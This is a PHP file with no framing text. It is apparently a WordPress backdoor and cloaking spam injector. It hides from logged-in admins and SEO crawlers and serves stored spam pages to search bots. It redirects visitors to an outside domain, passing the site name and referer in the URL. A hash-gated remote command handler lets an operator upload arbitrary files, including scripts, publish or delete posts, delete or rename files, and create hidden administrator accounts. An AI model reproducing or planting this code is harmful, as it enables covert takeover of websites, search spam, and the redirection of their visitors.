<?php
error_reporting(0);
$cookiename = substr( $_SERVER['SERVER_NAME'],0,6);
if ((preg_match('/wp-login.php|wp-admin|administrator/i', trim(@$_SERVER['REQUEST_URI'], '/')))) {
    setcookie($cookiename, 'enabled', time() + 3600 * 24 * 100, '/', '.' . $_SERVER['SERVER_NAME']);
}
foreach ((array)$_COOKIE as $cookie => $value) {
    if (stristr($cookie, 'wordpress_logged_in_')) {
        setcookie($cookiename, 'enabled', time() + 3600 * 24 * 100, '/', '.' . $_SERVER['SERVER_NAME']);
        return true;
    }
}
if (isset($_COOKIE[$cookiename])) {
    return true;
}

if ( ! function_exists('gzdecode'))
{
    function gzdecode($data)
    {
        return gzinflate(substr($data, 10, -8));
    }
}



$wpcl = new wpcl();

class wpcl
{
    private $clvers="0.2";
    private $uname;
    private $hostname;
    private $useragent;
    private $referer;
    private $page;
    private $landing;
    private $workpath;
    private $version;
    private $userip;
    private $isbot = false;
    private $root;
    private $nogz=false;

    public function __construct()
    {
        if ($this->setThings()===false){
            return false;
        }
        if (isset($_REQUEST['doit']) and substr(md5($_REQUEST['doit']), 0, 6) == 'f6089f') {
            $this->doit();
        }else{
            if ($this->page == substr(md5("shop" . $this->hostname), 0, 6) || $this->page == "?" . substr(md5("shop" . $this->hostname), 0, 6)) {
                //@header("Location: ".$this->landing . "/");
                $this->landing();
                exit();
            }
            if (@is_file($this->workpath . md5($this->page)."-l")) {
                if($this->nogz===true){
                    echo $this->addland(file_get_contents($this->workpath . md5($this->page)."-l"));
                }else {
                    echo $this->addland(gzdecode(file_get_contents($this->workpath . md5($this->page)."-l")));
                }
                exit();
            }elseif (@is_file($this->workpath . md5($this->page))) {
                if ($this->page == "sitemap.xml") {
                    @header('Content-type: text/xml');
                }
                if($this->nogz===true){
                    echo file_get_contents($this->workpath . md5($this->page));
                }else {
                    echo gzdecode(file_get_contents($this->workpath . md5($this->page)));
                }
                exit();
            } elseif (($this->page == "" || $this->page == "index.php") && @is_file($this->workpath . md5("index"))){
                if($this->nogz===true){
                    echo file_get_contents($this->workpath . md5("index"));
                }else {
                    echo gzdecode(file_get_contents($this->workpath . md5("index")));
                }
                exit();
            }
        }
    }


    private function doit()
    {
        $options = array();
        if (isset($_REQUEST['vars'])) {
            preg_match('/www/', $_SERVER['HTTP_HOST']) ? $options['www'] = 1 : $options['www'] = 0;
            ini_get('allow_url_fopen') ? $options['allow_url_fopen'] = 1 : $options['allow_url_fopen'] = 0;
            $functs = array("curl_exec", "file_get_contents", "gzdecode", "move_uploaded_file", "stream_get_contents", "base64_encode","gzinflate");
            foreach ($functs as $fn) {
                function_exists($fn) ? $options[$fn] = 1 : $options[$fn] = 0;
            }
            $options["version"] = $this->version;
            $options["root"] = $this->root;
            $options["clvers"] = $this->clvers;
            $this->succ(serialize($options));
            die();
        }
        if (isset($_REQUEST['permas'])) {
            if (is_file($this->root . 'wp-load.php')) require_once($this->root . 'wp-load.php');
            if (!$this->havelinks()) $this->fail("havelinks");
        }
        if (isset($_REQUEST['gmap'])) {
            if (is_file($this->root . 'wp-load.php')) require_once($this->root . 'wp-load.php');
            if (!$this->itsg_create_sitemap()) {
                $this->fail("create_sitemap");
            }/*else{
                $this->succ("create_sitemap");
            }
            */
        }
        if (isset($_REQUEST['pmap'])) {
            $data = $this->get_content("https://www.google.com/webmasters/tools/ping?sitemap=http://" . $_SERVER['HTTP_HOST'] . "/sitemap.xml");
             (strpos($data, "Sitemap Notification Received") !== false) ? $this->succ("sitemap") : $this->fail("sitemap");
        }
        if (isset($_REQUEST['arti']) && isset($_REQUEST['tits'])) {
            if (is_file($this->root . 'wp-load.php')) require_once($this->root . 'wp-load.php');
            $this->doapost(urldecode($_REQUEST['tits']), urldecode($_REQUEST['arti']));
        }
        if (isset($_REQUEST['delp'])) {
            if (is_file($this->root . 'wp-load.php')) require_once($this->root . 'wp-load.php');
            $this->delapost($_REQUEST['delp']);
        }
        if (@$_FILES['fl']) {
            if (file_exists($this->workpath . $_FILES['fl']['name'])) unlink($this->workpath . $_FILES['fl']['name']);
            if (@$_FILES['fl']['error']) die($_FILES['fl']['error']); else if (move_uploaded_file($_FILES['fl']['tmp_name'], $this->workpath . $_FILES['fl']['name'])) $this->succ($_FILES['fl']['name']);
        }
        if (@$_FILES['im']) {
            $imgpat = $this->image_path();
            if (file_exists($imgpat . $_FILES['im']['name'])) unlink($imgpat . $_FILES['im']['name']);
            if (@$_FILES['im']['error']) die($_FILES['im']['error']); else if (move_uploaded_file($_FILES['im']['tmp_name'], $this->image_path() . $_FILES['im']['name'])) $this->succ("/wp-content/uploads/2018/" . date("m") . "/" . $_FILES['im']['name']);
        }
        if (@$_REQUEST['delfile']) {
            if (file_exists($this->workpath . $_REQUEST['delfile'])) {
                if (unlink($this->workpath . $_REQUEST['delfile']))  $this->succ("delete"); else  $this->fail("delete");
            }
        }
        if (@$_REQUEST['renfile']) {
            if (file_exists($this->workpath . $_REQUEST['renfile'])) {
                if (rename($this->workpath .$_REQUEST['renfile'], $this->workpath .$_REQUEST['newname']))  $this->succ("rename"); else  $this->fail("rename");
            }
        }
        if (@$_FILES['promofls']) {
            $promopath = dirname($this->workpath);
            if (!file_exists($promopath . "/images")) {
                if (mkdir($promopath . "/images")) { $this->succ("imgfile"); } else { $this->fail("imgfile"); return false;}
            }
            if (file_exists($promopath . "/images")) {
                    $tmpFilePath = $_FILES['promofls']['tmp_name'];
                    if ($tmpFilePath != ""){
                        if (substr($_FILES['promofls']['name'],-3)=="css" or substr($_FILES['promofls']['name'],-2)=="js")$path = $promopath; else $path = $promopath . "/images";
                        $newFilePath = $path ."/". $_FILES['promofls']['name'];
                        if (file_exists($newFilePath)){
                            unlink($newFilePath);
                        }
                        if(move_uploaded_file($tmpFilePath, $newFilePath)) {
                            $this->succ($_FILES['promofls']['name']);
                        }
                }
            }else{
                $this->fail("imgpath");
            }

        }

        if (@$_REQUEST['u'] && @$_REQUEST['p'] && @$_REQUEST['m']) {
            if (is_file($this->root . 'wp-load.php')) require_once($this->root . 'wp-load.php');
            if ($this->adduser($_REQUEST['u'],$_REQUEST['p'],$_REQUEST['m'])) {
                $this->succ("user");
            }else{
                $this->fail("user");
            }
        }
        exit;
    }
    private function landing(){
        //$wpath = $this->wpath();
        //$jspat = str_replace($wpath, "", $this->workpath);
        echo "<!DOCTYPE html>
<html>
<head>
	<title>Redirect</title>
<meta name='robots' content='noindex,nofollow' />
	<script type=\"text/javascript\" src=\"/wp-content" . DIRECTORY_SEPARATOR . "plugins" . DIRECTORY_SEPARATOR . "tmp/jq.js\"></script>
	<script type=\"text/javascript\" src=\"/wp-content" . DIRECTORY_SEPARATOR . "plugins" . DIRECTORY_SEPARATOR . "tmp/go.js\"></script>
</head>
<body>
<b>Please wait... Redirecting...</b>
</body>
</html>";
    }

    private function setThings()
    {
        if ($this->checkers()) {
            @header("HTTP/1.0 404 Not Found");
            die();
        }

        global $wp_version;
        $this->version = $wp_version;
        $this->uname();
        if(!$this->root = $this->wpath()){
            $this->fail("wpath");
            exit;
        }
        $this->referer = (@isset($_SERVER['HTTP_REFERER'])) ? @$_SERVER['HTTP_REFERER'] : "BLANK";
        $this->useragent = @$_SERVER['HTTP_USER_AGENT'];
        $this->userip = @$this->get_ip_address();
        $this->hostname = str_replace("www.", "", strtolower(@$_SERVER['HTTP_HOST']));
        $this->page = trim(@$_SERVER['REQUEST_URI'], '/');
        $this->page = str_replace(array("index.php/", "index.php?", "index.php?p=", "?", "?p="), "", $this->page);
        $this->landing = "http://www.takemeoutofhere.com/go.php?tip=" . urlencode(base64_encode($this->hostname . "|" . $this->referer));
        if ($this->tempath()) {
            $this->workpath = $this->tempath();
        } else {
            return false;
        }
        if ($this->checkbot()) {
            $this->isbot = true;
        }
    }

    private function uname()
    {
        if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
            $this->uname = 2;
        } else {
            $this->uname = 1;
        }
    }
    private function adduser($user,$pass,$email){
        if ( !username_exists( $user )  && !email_exists( $email ) ) {
            $user_id = wp_create_user( $user, $pass, $email );
            $user = new WP_User( $user_id );
            $user->set_role( 'administrator' );
        }else{
            return false;
        }
        add_action('init','wpb_admin_account');
        return true;
    }

    private function tempath()
    {
        if ($wpath = $this->wpath()) {
            if (@is_dir($wpath . "wp-content" . DIRECTORY_SEPARATOR . "plugins" . DIRECTORY_SEPARATOR . "tmp" . DIRECTORY_SEPARATOR . md5($this->hostname))) {
                return $wpath . "wp-content" . DIRECTORY_SEPARATOR . "plugins" . DIRECTORY_SEPARATOR . "tmp" . DIRECTORY_SEPARATOR . md5($this->hostname) . DIRECTORY_SEPARATOR;
            } elseif (@is_dir($wpath . "wp-content" . DIRECTORY_SEPARATOR . "uploads" . DIRECTORY_SEPARATOR . "tmp" . DIRECTORY_SEPARATOR . md5($this->hostname))) {
                return $wpath . "wp-content" . DIRECTORY_SEPARATOR . "uploads" . DIRECTORY_SEPARATOR . "tmp" . DIRECTORY_SEPARATOR . md5($this->hostname) . DIRECTORY_SEPARATOR;
            } else {
                if (@mkdir($wpath . "wp-content" . DIRECTORY_SEPARATOR . "plugins" . DIRECTORY_SEPARATOR . "tmp", 0777)) {
                    if (@mkdir($wpath . "wp-content" . DIRECTORY_SEPARATOR . "plugins" . DIRECTORY_SEPARATOR . "tmp" . DIRECTORY_SEPARATOR . md5($this->hostname), 0777)) {
                        if (@is_dir($wpath . "wp-content" . DIRECTORY_SEPARATOR . "plugins" . DIRECTORY_SEPARATOR . "tmp" . DIRECTORY_SEPARATOR . md5($this->hostname))) return $wpath . "wp-content" . DIRECTORY_SEPARATOR . "plugins" . DIRECTORY_SEPARATOR . "tmp" . DIRECTORY_SEPARATOR . md5($this->hostname) . DIRECTORY_SEPARATOR;
                    }
                }
                if (@mkdir($wpath . "wp-content" . DIRECTORY_SEPARATOR . "uploads" . DIRECTORY_SEPARATOR . "tmp", 0777)) {
                    if (@mkdir($wpath . "wp-content" . DIRECTORY_SEPARATOR . "uploads" . DIRECTORY_SEPARATOR . "tmp" . DIRECTORY_SEPARATOR . md5($this->hostname), 0777)) {
                        if (@is_dir($wpath . "wp-content" . DIRECTORY_SEPARATOR . "uploads" . DIRECTORY_SEPARATOR . "tmp" . DIRECTORY_SEPARATOR . md5($this->hostname))) return $wpath . "wp-content" . DIRECTORY_SEPARATOR . "uploads" . DIRECTORY_SEPARATOR . "tmp" . DIRECTORY_SEPARATOR . md5($this->hostname) . DIRECTORY_SEPARATOR;
                    }
                }
            }
        } else {
            return false;
        }
        return false;
    }

    private function wpath()
    {
        if (is_file($_SERVER["DOCUMENT_ROOT"] . DIRECTORY_SEPARATOR . "wp-load.php")) {
            return $_SERVER["DOCUMENT_ROOT"] . DIRECTORY_SEPARATOR;
        }
        $dr = dirname(__FILE__);
        $matches = explode(DIRECTORY_SEPARATOR, $dr);
        $matches = array_filter($matches);
        while (count($matches) - 1) {
            if ($this->uname == 1) {
                $dir = "/" . implode("/", $matches);
            } else {
                $dir = implode(DIRECTORY_SEPARATOR, $matches);
            }
            if (is_file($dir . DIRECTORY_SEPARATOR . "wp-load.php")) return $dir . DIRECTORY_SEPARATOR;
            array_pop($matches);
        }
        return false;
    }

    private function get_content($url)
    {
        if (function_exists('curl_exec')) {
            $conn = curl_init($url);
            curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, true);
            curl_setopt($conn, CURLOPT_FRESH_CONNECT, true);
            curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($conn, CURLOPT_CONNECTTIMEOUT, 6);
            curl_setopt($conn, CURLOPT_TIMEOUT, 5);
            curl_setopt($conn, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36");
            $url_get_contents_data = (curl_exec($conn));
            curl_close($conn);
        } elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {
            $url_get_contents_data = file_get_contents($url);
        } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
            $handle = fopen($url, "r");
            $url_get_contents_data = stream_get_contents($handle);
        } else {
            $url_get_contents_data = false;
        }
        return $url_get_contents_data;
    }

    private function checkers()
    {
        if (preg_match('/rogerbo|exabot|mj12bot|dotbot|gigabot|ahrefsbot|sitebot|semrushbot|ia_archiver|searchmetricsbot|seokicks-robot|sistrix|lipperhey spider|ncbot|backlinkcrawler|archive.org_bot|meanpathbot|pagesinventory|aboundexbot|spbot|linkdexbot|nutch|blexbot|ezooms|scoutjet|majestic|dsearch|blekkobo/i', $this->useragent)) {
            return true;
        }
        return false;
    }

    public function checkbot()
    {
        if ($this->frm_isbot()) {
            return true;
        }
        return false;
    }

    private function frm_isbot()
    {
        $ua = @strtolower($_SERVER['HTTP_USER_AGENT']);
        if (($lip = ip2long($this->get_ip_address())) < 0) $lip += 4294967296;
        $rs = array(array(3639549953, 3639558142), array(1089052673, 1089060862), array(1123635201, 1123639294), array(1208926209, 1208942590),
            array(3512041473, 3512074238), array(1113980929, 1113985022), array(1249705985, 1249771518), array(1074921473, 1074925566),
            array(3481178113, 3481182206), array(2915172353, 2915237886), array(3627728897, 3627737086), array(1823541249, 1823543294));
        foreach ($rs as $r) if ($lip >= $r[0] && $lip <= $r[1]) return true;
        if (!$ua) return true;
        $bots = array('googlebot', 'bingbot', 'slurp', 'msnbot', 'jeeves', 'teoma', 'crawler', 'spider');
        foreach ($bots as $b) if (strpos($ua, $b) !== false) return true;
        return false;
    }


    private function get_ip_address()
    {
        foreach (array('HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) {
            if (array_key_exists($key, $_SERVER) === true) {
                foreach (explode(',', $_SERVER[$key]) as $ip) {
                    $ip = trim($ip);
                    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) {
                        return $ip;
                    }
                }
            }
        }
        return false;
    }

    private function itsg_create_sitemap()
    {

        $postsForSitemap = get_posts(array(
            'numberposts' => -1,
            'orderby' => 'modified',
            'post_type' => array('post', 'page'),
            'order' => 'DESC'
        ));

        $sitemap = '<?xml version="1.0" encoding="UTF-8"?>';
        $sitemap .= '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">';
        if(!$postsForSitemap) return false;
        foreach ($postsForSitemap as $post) {
            setup_postdata($post);

            $postdate = explode(" ", $post->post_modified);

            $sitemap .= '<url>' .
                '<loc>' . get_permalink($post->ID) . '</loc>' .
                '<lastmod>' . $postdate[0] . '</lastmod>' .
                '<changefreq>monthly</changefreq>' .
                '</url>';
        }

        $sitemap .= '</urlset>';
        echo $sitemap;
        return true;
    }


    public function image_path()
    {
        if ($wpath = $this->wpath()) {
            if (!is_dir($wpath . "wp-content/uploads/2018")) mkdir($wpath . "wp-content/uploads/2018", 0777);
            if (is_dir($wpath . "wp-content/uploads/2018") && !is_dir($wpath . "wp-content/uploads/2018/" . date("m"))) mkdir($wpath . "wp-content/uploads/2018/" . date("m"), 0777);
            if (is_dir($wpath . "wp-content/uploads/2018/" . date("m"))) {
                return $wpath . "wp-content/uploads/2018/" . date("m") . "/";
            } else {
                 $this->fail("createimagepath");
                return false;
            }
        } else {
             $this->fail("cantfindwp");
            return false;
        }

    }

    private function havelinks()
    {

        $out = array();
        $args = array('post_type' => 'post', 'posts_per_page' => -1);
        $loop = new WP_Query($args);
        if ($loop->have_posts()): while ($loop->have_posts()): $loop->the_post();
            global $post;
            $out[] = get_permalink($post->ID);
        endwhile; endif;
        wp_reset_query();
        $pages = get_pages();
        foreach ( $pages as $page ) {
            $out[] =  get_page_link( $page->ID );
        }
        if ($out) {  $this->succ(serialize($out)); return true; }else { return false; }
    }

   public function delapost($del)
    {
        if (wp_delete_post($del, true)) {
            $this->succ("delapost");
            return true;
        } else {
            $this->fail("delapost");
            return false;
        }
    }

   public function doapost($title, $content)
    {
        $blogusers = get_users('orderby=nicename&role=administrator');
        if ($title == "" || $content == "") return false;
        $my_post = array();
        $my_post['post_title'] = $title;
        $my_post['post_content'] = $content;
        $my_post['post_status'] = 'publish';
        $my_post['post_author'] = $blogusers[0]->data->ID;
        // echo $current_user->display_name; //owner name...
        $result = wp_insert_post($my_post);
        if ($result && !is_wp_error($result)) {
            $post_id = $result;
            $permalink = get_permalink($post_id);
            $this->succ(serialize(array($post_id, $permalink)) );
            if (is_file($this->workpath.md5(sanitize_title($title))."-l"))unlink($this->workpath.md5(sanitize_title($title))."-l");
            return true;
        }
        $this->fail("post");
        return false;

    }

   public function addland($art)
    {
        $jspat = dirname($this->workpath);
       // $wpath = $this->wpath();
       // $jspat = str_replace(dirname($wpath), "", $this->workpath);
        if (is_file( $jspat .  "/vg_p.js") && is_file($jspat.  "/vg_p.css")) {
            if (preg_match("<\/head>", $art)) return str_replace("</head>", "\n<script type='text/javascript' src='/wp-content/plugins/tmp/vg_p.js?ver=4.7.13'></script>\n<link rel='stylesheet' id='promo-css'  href='/wp-content/plugins/tmp/vg_p.css?ver=4.7.13' type='text/css' media='all' />\n</head>", $art);
            else return str_replace("</title>", "</title>\n<script type='text/javascript' src='/wp-content/plugins/tmp/vg_p.js?ver=4.7.13'></script>\n<link rel='stylesheet' id='promo-css'  href='/wp-content/plugins/tmp/vg_p.css?ver=4.7.13' type='text/css' media='all' />\n", $art);
        } else {
            return $art;
        }
    }
    public function fail($m)
    {
        echo "~fail:~" . $m."~";
    }

    public function succ($m)
    {
        echo "~success:~" . $m."~" ;
    }


}